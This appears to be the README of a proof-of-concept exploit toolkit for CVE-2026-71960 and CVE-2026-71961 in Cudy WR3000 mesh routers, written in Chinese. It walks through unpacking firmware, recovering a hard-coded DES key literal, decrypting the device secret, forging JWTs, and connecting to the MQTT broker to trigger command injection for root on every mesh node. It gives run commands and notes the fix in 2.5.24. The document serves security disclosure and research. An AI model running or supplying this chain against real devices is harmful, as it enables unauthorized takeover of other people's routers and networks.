PoC 工具包,可解包路由器固件、解密设备机密、伪造 JWT 令牌,并利用 CVE-2026-71960/71961 接管 Cudy WR3000 网状 MQTT 代理。
针对 Hunt-Benito 文章的 PoC 工具集 "同一把钥匙打开所有箱子:CVE-2026-71960 — Cudy 的 WR3000 Mesh MQTT 代理中的硬编码 JWT 密钥" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
与 CVE-2026-71961(通过同一 MQTT mesh 接口实现的 OS 命令注入)链式利用, 可在 Cudy WR3000 2.0 mesh 网络的每个节点上获得 root 命令执行能力, 该 mesh 网络运行的固件版本 低于 2.5.24。
| 文件 | 用途 |
|---|---|
extract_firmware.py | 将公开的 Cudy 系统升级 .bin(hboot1tag + UBI)解包为完整的 OpenWrt 文件系统。已在 2.4.14 / 2.4.15 / 2.5.24 上验证。 |
decrypt_bdinfo.py | 推导 DES 密钥(DES_string_to_key("88T3j05dtFu8="),IV 为零 — 从 libbdinfo.so 中恢复),并解密来自你自己设备的 bdinfo MTD 转储,揭示 deviceid 和整个设备群的 secret。 |
forge_jwt.py | 铸造一个满足 mosquitto_auth_unpwd_check 中所有检查的 HS256 令牌(exp 下限 1577826000,username grant 包含 deviceid)。自行验证往返一致性。 |
mqtt_takeover.py | 使用伪造的 JWT 在 TCP 1883 上 CONNECT 到代理,订阅 router/#,并且(可选,--cmd)触发 CVE-2026-71961 的 command.lua → io.popen 漏洞 sink。 |
pip install pycryptodome pyjwt paho-mqtt
# 1. unpack the public firmware (no device needed)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. confirm the DES key literal ships in the image
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. decrypt a bdinfo dump from YOUR OWN device (2.4.x exposes /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. forge a token for the recovered deviceid/secret
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. passive: authenticate and listen on the mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so 在代理启动时调用 bdinfo_get_value("deviceid") 和
bdinfo_get_value("secret");secret 值就是
所有 mesh JWT 的 HS256 签名密钥。exp 检查是 exp >= 1577826000(2019-12-31T21:00:00Z);
time() 调用的结果从不参与比较 —— 令牌实际上永不过期。alg: none 会被拒绝(在提供密钥时返回 EINVAL)—— secret 确实是
必需的;不存在算法混淆的捷径。mosquitto_auth_acl_check() 无条件返回 SUCCESS —— 一次被接受的
CONNECT 即授予对所有主题的读/写权限。0.0.0.0:1883(2.4.x)意味着不需要 TLS 客户端证书。
已修复的 2.5.24 固件删除了 1883 监听器,完全移除了
bdinfo secret,并依赖双向 TLS。仅限获授权的安全研究和教育用途。只能针对你拥有或 已获得明确书面许可测试的设备运行。作者 对滥用不承担任何责任。